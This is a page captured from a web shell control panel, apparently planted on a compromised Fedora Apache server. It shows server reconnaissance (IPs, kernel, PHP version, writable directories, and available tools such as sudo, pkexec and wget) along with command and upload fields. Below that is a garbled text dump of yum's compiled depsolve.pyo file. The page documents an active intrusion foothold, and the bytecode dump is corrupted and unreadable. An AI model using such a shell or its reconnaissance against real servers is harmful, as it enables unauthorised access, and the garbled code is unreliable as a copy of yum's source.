403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/yum/depsolve.pyo
7Jc@sdZddkZddkZddkZddkZddkZddkl	Z	l
Z
ddkZddklZl
Z
ddkZddklZddkTddkZddkZddkZddkZeideiddklZyWnd	Zd
ZnXheid6eieiBd6eid
6eieiBd6eid6de6Z de!fdYZ"de!fdYZ#de!fdYZ$de!fdYZ%dS(s'
Dependency resolution module for yum.
iN(tarchDifferencetcanCoinstall(tuniquetversion_tuple_to_string(tListPackageSack(t*tignore(t_cGs,x%|D]}||jo
|}qqW|S(N((txtargsty((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytmin.s

cGs,x%|D]}||jo
|}qqW|S(N((RR	R
((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytmax2s

tGTtGEtLTtLEtEQitDepsolvecBsOeZdZdZdZedZedZdZdZ	dZ
dZd	Zd
Z
ddd
ZdZdZedZdZdZdZdZdZdZdZdZdZedZdZedZdZ dZ!dZ"d Z#d!Z$e$Z%d"Z&RS(#s%
    Dependency resolving class.
    cCsp|t_d|_d|_d|_tid|_tid|_	g|_
g|_d|_d|_
dS(Nsyum.Depsolvesyum.verbose.Depsolve(tpackagestbasetNonet_tst_tsInfot
dsCallbacktloggingt	getLoggertloggertverbose_loggertpathtloopstinstalledFileRequirestinstalledUnresolvedFileRequires(tself((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt__init__Cs							cCs)titdtidd|iS(Ns5doTsSetup() will go away in a future version of Yum.
t
stackleveli(twarningstwarnRtErrorstYumFutureDeprecationWarningt_getTs(R!((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt	doTsSetupQscCs|idjoM|idjo=|o0|iidjo|ii|i|indS|iipti	t
dn|i||idS(ssetup all the transaction set storage items we'll need
           This can't happen in __init__ b/c we don't know our installroot
           yetNs4Setting up TransactionSets before config class is up(
RRRtpkgSacktsetDatabasestrpmdbtconftinstallrootR&tYumBaseErrorRt
_getTsInfotinitActionTs(R!tremove_only((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR(Vs 

cCs|idjo|i|_|o
d}n
|i}|ii|i||ii|i_|i|i_	|i
|i_|i|i_
n|iS(s remove_only param. says if we are going to do _only_ remove(s) in
            the transaction. If so we don't need to setup the remote repos. N(RRt_transactionDataFactoryR*R+R,R-tinstallonlypkgstinstalltinstall_methodtupdatet
update_methodtremovet
remove_method(R!R2R*((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR0fs
	cCs
||_dS(N(R(R!tvalue((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_setTsInfowscCs
d|_dS(N(RR(R!((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_delTsInfozscCs|ip|in|iS(N(RR1(R!((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_getActionTs}s
cCstii|ii|_htid6tid6ti	d6ti
d6tid6tid6}|ii
dxU|iiD]G}|i|o|ii||qz|iitd|qzWd}x|iiD]}||O}qW|ii|d	S(
s)sets up the ts we'll use for all the workt	noscriptst
notriggerstnodocsttesttjustdbt	repackageis!Invalid tsflag in config file: %sN(trpmUtilsttransactiontTransactionWrapperR-R.RtrpmtRPMTRANS_FLAG_NOSCRIPTStRPMTRANS_FLAG_NOTRIGGERStRPMTRANS_FLAG_NODOCStRPMTRANS_FLAG_TESTtRPMTRANS_FLAG_JUSTDBtRPMTRANS_FLAG_REPACKAGEtsetFlagsttsflagsthas_keyt	addTsFlagRtcriticalRttsInfotprobFilterFlagst
setProbFilter(R!tts_flags_to_rpmtflagt
probfilter((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR1s$







c
Cs|iititd||ii|}|djo
d}nt|t	i
t	it	ifjot
ii|\}}}n3t|t	it	ifjo|\}}}nt}x|D]}	|iititd||	ti|o!|djo|i|	qn|	id|||||ffo-|i|	|iitd|	|qqW|S(ssearches the packageSacks for what provides the arguments
           returns a ListPackageSack of providing packages, possibly emptysSearching pkgSack for dep: %sisPotential match for %s from %stprovidessMatched %s to require for %sN(Rtlogt
logginglevelstDEBUG_1RR*tsearchProvidesRttypettypest
StringTypetNoneTypetUnicodeTypeREt	miscutilststringToVersiont	TupleTypetListTypeRtDEBUG_2tmisctre_filenamet
addPackaget	checkPrcotdebug(
R!tnametflagstversiontpkgstr_etr_vtr_rtdefSacktpo((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytwhatProvidess*

%	
%
$csF|iiijotS|i}tfd|otStS(stakes a packageObject, returns 1 or 0 depending on if the package 
           should/can be installed multiple times with different vers
           like kernels and kernel modules, for examplecs|iijS((R-R4(tprov(R!(s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt<lambda>s(RnR-R4tTruetprovides_namestfiltertFalse(R!RvRZ((R!s0/usr/lib/python2.6/site-packages/yum/depsolve.pytallowedMultipleInstallss	iicCs |io|iinh}|iidjo|in|ox|iD]}|i}|djo
d}n|i|i||i|i	f}|i
djo
d}n|i
djo
d}nd|||f<qSWnx|iiD]
}|i
ititd||idjoE|i|idfoqn|ii}	tii|	o|ii}
n |i|i|ii}
|idjoO|i|io8|i
ititd|id|_t|_ qn|ii!|
|
|	f|i|i
iti"td	|i|i|io|ii#|i|iqq|id
jo|i|i|ifoqn|ii$|ii%|io|ii#|idn|i
iti"td
|iqqWdS(s7take transactionData class and populate transaction sett0itiites
Member: %stus%s converted to installsAdding Package %s in mode %ssRemoving Package %sN(RR(R(&RttransactionPopulationttsRR1tEtNtAtVtRtTypeRTt
getMembersRR[R\tDEBUG_3Rtts_stateRQtpkgtupRvtlocalPkgtosRtexiststreturnHeaderFromPackagetdownloadHeadertreturnLocalHeaderR~Rht
TS_INSTALLtoutput_statet
addInstallR]tpkgAddedtaddErasetidx(R!RBtkeepoldtts_elemttetepochtpkginfotmodettxmbrtrpmfilethdr((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
populateTss^



-

	
!
cCsS|ipdSt|ido|ii||n|ii|i|dS(sW Call the callback for processing requires, call the nicest one
            available. Nt	procReqPo(RthasattrRtprocReqRn(R!Rvtniceformatneed((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_dscb_procReqs

cCs1g}|\}}}tii|||}|iititd|||i||y||i	i
djo|i|||\}}	n|i|||\}}	|	o$|i
i||i|dfnWnFtij
o7}
|i
i||it|
fd}d}	nX||	|fS(sprocesses a Requires dep from the resolveDeps functions, returns a tuple
           of (CheckDeps, missingdep, conflicts, errors) the last item is an array
           of error messagess%s requires: %st	installediii(RERdt
formatRequireRR[R\R]RRtrepotidt_requiringFromTransactiont_requiringFromInstalledtpo_with_problemstaddt_working_poR&tDepErrortstr(R!Rvtrequirementt	errormsgstneednameRotneedversionRt	CheckDepst
missingdepR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_processReqs "("cCs|t|t|fS(N(RoR(trntrftrv((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_prco_req_nfv2req/scCs|i|d|d|dS(Niii(R(R!treq((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_prco_req2req3sc"Csd}d}|ii|ito||fS|i\}}}}	}
|\}}}
tii||
|}d}d}g}|ii	|||
fo?|i
iti
td|i|||
f}|g}n|iid|o:|iid|}xY|D]}|i|iqWn8|i
iti
td||ii|||
}x|D]}d|i}|i\}}}}}|i
iti
td||iid|d|d|d	|d
|}|djo2||iijo|iid|d|}n|djo,||iijo|iid|}n|djo9td|ii|||||o
d}qn|dj	oF|}||i|||
f<|i
iti
td
|||PqjqjW|i
iti
td|||djoN|i
iti
td|||ii|}|id|d}n|djopt|i}|id|d|d|	d|
d||ii|it}t|i|jo|o|ditjo1|i
iti
td||didn||i
iti
td|xY|di D]J}|t!|i"|i#djo"t$||i%|||dfSq^Wt$}||fS|i
iti
td||i%|||S|djo||	|
df}|i&djo|i%|||Sd||i'f} td|| f}!|i
iti
|!d}d}|i|!n||fS( sbprocesses the dependency resolution for a dep where the requiring 
           package is installedis3Needed Require has already been looked up, cheatingRns4Needed Require is not a package name. Looking up: %ss%s.%s %s:%s-%ssPotential Provider: %starchRtvertrelcSs|iS((tobsoleted_by(R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRyosRs!Mode is %s for provider of %s: %ssMode for pkg providing %s: %sRs/TSINFO: %s package requiring %s marked as eraseRviRRptreleasetrequiringPos-TSINFO: Obsoleting %s with %s to resolve dep.s#TSINFO: Updating %s to resolve dep.trequiress*Cannot find an update path for dep for: %ss%s (%s)s"Unresolvable requirement %s for %sN(R(RR((RTtgetMembersWithStateRtTS_REMOVE_STATESRERdRRt
cheaterlookupRQRR[R\RhRR,tcontainst
matchNaevrtappendRvtgetProvidestgetModeR-t
exactarchlistR|RtsetAsDeptlenR7RtTS_OBSOLETEDRt
updated_bytmapRt
returnPrcoRzRR*trepoid("R!RRt	errorlistt	checkdepsRRnRRRRRt	needflagsRRtneedmodetneedpot	providerst
cheater_pottxmbrsRtinst_potinst_strti_nti_ati_eti_vti_rtthismodetlengthtpkgtreqpkgtprob_pkgtmsg((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR6s

  
	"

	




!"&

cCs|idjotS|djo
d}nt|tititifjoti	i
|\}}}n3t|titifjo|\}}}n|i}|i
d|||||ffo!|iitd||tStS(NiRZs"Quick matched %s to require for %s(t	_last_reqRR}R_R`RaRbRcRERdReRfRgRlRRmRRz(R!RnRoRpRrRsRtRv((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_quickWhatProvidess

%	%c#Cs|i\}}}}}|\}	}
}d}d}
h}|i|	|
|o||
fS|i|	|
|}x|iD]}|iid|o3|iiti	t
d||i|q|ng}|i|pW|i
id|i}x|D]}t|i|iip|ii|o:t
d|}|iiti	||i|qq|ii|o#|i|igi|iqqqW|iid|i}xs|D]g}|i|oQt|i|io:t
d|}|iiti	||i|qqqWq|q|Wt|djoYd}
d||if}t
d	tii|	||
|f}|i|||
fSx|iD]}|i\}}}}}|i
id|d
|d|d|d
|}|djo3|iiti	t
d|||_||
fSqWx|iD]w}|i d|d|id|i!d|i"d
|i#}x8|D]0}||ijot$}||_||
fSqWqQW|i}t|djo|d} n!|i%||}!|!dd} |iid| oMd}
d}d||if}t
d	|	|f}|i|||
fS|iid| id
| i}"t|"djo_|ii&t
d| |f|i
i'| |"d}|i(d|d|_)| |_n|ii&t
d| ||i
i*| }|i(d|d|_)| |_|i+| iot,|i
i-|| ind}||
fS(skprocesses the dependency resolution for a dep where requiring 
           package is in the transaction setiRvsB%s is in providing packages but it is already installed, removing.Rns8Potential resolving package %s has newer instance in ts.s<Potential resolving package %s has newer instance installed.is%s (%s)s.Missing Dependency: %s is needed by package %sRRRRRRs#%s already in ts, skipping this oneRRps#TSINFO: Marking %s as update for %stdeps$TSINFO: Marking %s as install for %s(RR(.RRRwtreturnPackagesR,RRR[R\RhRt
delPackageR~RTRRnRRRvtverGTtverLTt
setdefaultRtsearchNevraRRRERdRRRtreturnNewestByNameR7RRpRRzt_compare_providersRmt	addUpdateRtreasonRRQRR9(#R!RRRRnRRRpRRRRRRtupgradedtprovSackRttspkgsttspkgRtdbpkgstdbpkgRtntaRtvtrtpkgmodetresultsRRqtbestt
pkgresultstinst((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs


+'
	


-
	
	
!	
		cCsS|ipdSt|ido|ii||n|ii|i|dS(sW Call the callback for processing requires, call the nicest one
            available. NtprocConflictPo(RRR
tprocConflictRn(R!RvR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_dscb_procConflictWs

cCs7t}g}|\}}}|i\}	}
}}}
tii|||}|i||t|i}|ti	@oW|i
d|i|ii|it
}t|i|jo|o||fSnc|ti@oT|i
d|	|ii|it
}t|i|jo|o||fSn|i
d|i|ii|it
}t|i|jo|o||fS|i
d|	|ii|it
}t|i|jo|o||fSd|	|if}|i||iiti|t}|ii|d|df||fS(s6processes a Conflict dep from the resolveDeps() methodRns%s conflicts with %siN(RzRRERdRRRRTRHt
RPMSENSE_LESSR7RnRRtRPMSENSE_GREATERRRR[R\R]R}RRR(R!Rvtconflicttconflicting_poRRRRoRRnRRRRRRRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_processConflictbs>
cCs9x2|iD]'}|io|ii|iq
q
WdS(N(RTtisDepR9R(R!R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_undoDepInstallss

cCsd}ddk}ddk}|i|}|i|i}|idGH|ii|}|i|i	dd|i
d|S(Nsanaconda.prof.0isdone running depcheckttimetcallsi(thotshott
hotshot.statstProfiletruncalltresolveDepstclosetstatstloadt
strip_dirst
sort_statstprint_stats(R!tfnRtproftrcR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytprof_resolveDepss


cCsddk}ddk}|i}|i|i}|iddGH|id}|i|id|i	d|S(Nityumprofsdone running depcheckRi(
tcProfiletpstatsRRRt
dump_statstStatsRRR (R!R&R'R"R#tp((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytcprof_resolveDepss



cCst|ipdtdgfSt|_d|_d|_|iidt	t
}|}|}d}g}|io|iinxt
ot
}x_|oWh|_
|io|iin|i|\}}}}	||O}||O}qW|ot	}xI|iD];\}
}|i|
|\}}	}
||O}||
7}qW|o>|io|iin|iititdqqn|ot	}xI|iD];}|i|\}}
||O}||
7}|oPqqW|o>|io|iin|iititdqqDnPqWxr|iiD]a}|i|ioH|idjo8|iititd|id|_t|_qZqZW|io|ii n|iititdt	|i_!t|djokt"|}xQ|iD]F\}
}}|ii#td	|
|
i$f|ii#d
|q+Wd|fSt|idjo8t|ipdtdgfSdtd
gfSdS(NisSuccess - empty transactionthardsRestarting LoopRs%s converted to installRsDependency Process endings"%s from %s has depsolving problemss  --> %siisSuccess - deps resolved(%RRTRtsetRRRRt
resetResolvedR}RzRtstartRttscheckt_resolveRequirest_checkFileRequiresRtrestartLoopRR[R\R]t_checkConflictsRRR~RvRRhRRtendtchangedRtinfoR(R!t
full_checkRtCheckRemovest
CheckInstallsRterrorst
checkinstallstcheckremovestmissingRvRtcheckdepRRRtwpoterr((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs		
	







	
	
	

#cCst}t}t}t}xo|iiD]^}|io'|io|ii|i|in|iit	i
td|f|io"|i
o|i
dd|_n
|i|_|itj|iidjjo|i|}t}n|i|}t}t}xM|D]E\}	}
|i|	|
\}}}
||O}||
7}||O}qW|p|ii|n||O}q(W||||fS(NsChecking deps for %si(R}RTtgetUnresolvedMembersRRRRRR[R\RhRtupdatest	relatedtoRRvRtTS_INSTALL_STATEStstateRt
_checkInstallRzt_checkRemoveRtmarkAsResolved(R!R;tany_missingRR:R9Rt	thisneedstmissing_in_pkgRvRR?R>R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR1s:"


cCshdd6dd6dd6dd6d	d
6dd6}|i|dd|i|dd}|o|Sd
}||d||dS(s2 Sort the requires for a package from most "narrow" to least,
            this tries to ensure that if we have two reqs like
            "libfoo = 1.2.3-4" and "foo-api" (which is also provided by
            libxyz-foo) that we'll get just libfoo.
            There are other similar cases this "handles".iRiRiRiR
iRici
cSs9|ido%|idp|idodSdS(Ntlibs()s	()(64bit)ici(t
startswithtendswith(Rn((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_req_name2valFs iN(Rtget(tpkgtup1tpkgtup2tmappertretRP((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_sort_reqs.s&
*	c	Cs|iid}t|iid}g}x'|iD]}|i|idq:Wt|}g}xAt|d|iD]*}|didoqn||joqn||jo|ii	|oqn|i
iti
td|||ii	|}|p&|i|i|i|fqnxj|D]b}	|i|	ijoqFnx?|iid|	idtD]}
|
ii|id	fqWqFWqW|S(
NRRZtcmpisrpmlib(s%looking for %s as a requirement of %sRt
output_statest	dependson(RvRR-RCtextendtsortedRVRNR,RRR[R\RhRRTRRRnRRRERD(R!Rt
txmbr_reqsttxmbr_provstoldreqstoldpoRURtprovsRvtmember((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRGMs<

 "%cCs|i}|id}h}x/|iD]$}x|iD]}d||<q8Wq(Wg}x|D]}|didoq]n|i|oq]nx|ii|iD]e\}	}
xV|
D]N\}}}
|ii	|||
p&|i
|	|i|||
fqqWqWq]W|S(NRZiisrpmlib((RvRRRZRNRQRTtgetRequirest	iteritemsRRR(R!RRvR`t
newpoprovstnewpoR*RURxRthitsRRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRHqs,	

2cCst}h}g}|idjoh|_t|_t}x|iiD]}x|iD]\}}}|idpqcn|ii|gi	|||joD|ii
|||}	|i||	p|ii|qqcqcWqSWnxt|iiD]c\}
}|i
i|
idtp;|i|x+|D]}|i|gi	|
qNWqqW||i8}x|i
idtD]}
x|
iiD]\}}}|ido||ijoSt}x8|
iD]-}|id|ddfot}PqqW|oqq1n|i||i|gi	|
iqqWqWxk|D]c}|ii|oI|ii|o5x2||D]"}
|i	|
|ddffqWqmqmW|S(Nt/RXRit(NNN(R-RRR R,RRRNRRRRRcRRRRR7RERvR}RCRlRzRTtgetOldProvidestgetNewProvides(R!tfileRequirest
reverselookupRUtresolvedRRnRXtevrRRvtfilestfilenameRtalready_brokenR_((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR2sd			


$
%


	
(((c	
Csg}x|iiD]}|ii|idtoqnx|idD]}|\}}}x|ii|||D]h}|id|idjo"|id|idjoq}n|i||i	||||fq}WqOWqWx|iidt
D]}|i}x|iidD]}|\}}}x|ii|||D]h}|id|idjo"|id|idjoqWn|i||i	||||fqWWq)WqW|S(NRXt	conflictsii(
R,RRTRRRRRjRRRERvR(	R!RURvRRtfRRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR4s66	6cCst}|iid|o
t}n|iid|}x#|D]}|itjotSqBW|ot|djotS|S(NRni(	R}R,RRzRTRRRER(R!tpkgnameRtlstR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytisPackageInstalleds
	csCiititdt|d}dd}d}fd}h}xL|D]D}|i|jo!||ii|ijoq`n|||i<q`W|i}h}	h}
xs|D]k}d|	|<i	i
d|i}|o2t|d	}|i
|od
|
|<q2qd|
|<qW|
o|
}	|
i}nh}
x|D]}x|D]}||joqmn|i|
jo$ii|id |
|i<n|
|ip|i|
|ido|	|cd8<nt}|id
|i|i|iff}|id|o@t}|	|cd8<iititd||fn|o|iiif}niif}x{|D]s}||||}|pqniititd||||f||jo|	|cd
7<qqWqmW|||o:iititd||f|	|cd7<n|og||i|i}|djoAiititd|||f|	|c|d7<qn|	|ct|id	7<q`Wt|	id|}iititdt||S(sotake the list of pkgs and score them based on the requesting package
           return a dictionary of po=scores"Running compare_providers() for %scSs8t|d|d}|o|St|d|dS(s~ Compare first by score, and then compare the pkgs if the score
                is the same. Note that this sorts in reverse. ii(RW(RR
RU((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_cmp_best_providerssicSsbtt|t|}x7t|D])}||||jot||Sq(Wt||S(N(RRtrangeR(RR
tminlentnumtoff((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_common_prefix_lens
cSs:t|dptSt|dptS|i|ijS(Nt	sourcerpm(RR}R}(RR
((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_common_sourcerpms
cst||i}iio6|djo%iititd||Snt||i}|djo2||jo%iititd||S||jodS|S(Nisbetter arch in po %s(	RRtmultilibRR[R\tDEBUG_4RR(RR
treq_compare_archtx_distty_dist(R!(s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_compare_arch_distances

	
iRniiiiRt	obsoletess%s obsoletes %ss-archdist compared %s to %s on %s
  Winner: %sscommon sourcerpm %s and %sis%common prefix of %s between %s and %sRWsBest Order: %s(RR[R\RRRRRtvaluesR,RRnR[RtkeysR*RtverEQR}RRRtinPrcoRangeRzRtbestarchRtitems(R!RqtreqpoRwR|R~Rtunique_nevra_pkgsRRtipkgresultst	rpmdbpkgstnewesttlposRvtnextpot	obsoletedt	poprovtuptarchestthisarchtrestcplt	bestorder((R!s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs		


$+$

!('t__name__t
__module__t__doc__R"R)R}R(R0R<R=R>R1RwR~RRRtstaticmethodRRRRRRRRR$R+RzRR1RVRGRHR2R4Rvt_isPackageInstalledR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR=sD							 	8		#		t				(		
	
X	,	$		7		tDepCheckcBs)eZdZdZdZdZRS(sobject that YumDepsolver uses to see what things are needed to close
       the transaction set. attributes: requires, conflicts are a list of 
       requires are conflicts in the current transaction set. Each item in the
       lists are a requires or conflicts objectcCsg|_g|_dS(N(RRr(R!((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR"s	cCs#t||}|ii|dS(N(tRequiresRR(R!Rvtreq_tuple_listtreqobj((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytaddRequiresscCs#t||}|ii|dS(N(t	ConflictsRrR(R!tconflict_po_listt
conflict_itemtconfobj((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytaddConflictss(RRRR"RR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs		RcBseZdZdZRS(sY
    A pure data class for holding a package and the list of things it
    requires.
    cCs||_||_dS(N(RR(R!RR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR"s	(RRRR"(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRsRcBseZdZdZRS(sZ
    A pure data class for holding a package and the list of things it
    conflicts.
    cCs||_||_dS(N(tpkglistR(R!RR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR"s	(RRRR"(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs(&Rtos.pathRR`RtrpmUtils.transactionREtrpmUtils.miscutilst
rpmUtils.archRRRiRRRHtpackageSackRt	constantsRR\R&R$tsimplefilterR'tyumRRRRtRPMSENSE_EQUALR
RRotobjectRRRR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt<module>sH
	




e

Youez - 2016 - github.com/yon3zu
LinuXploit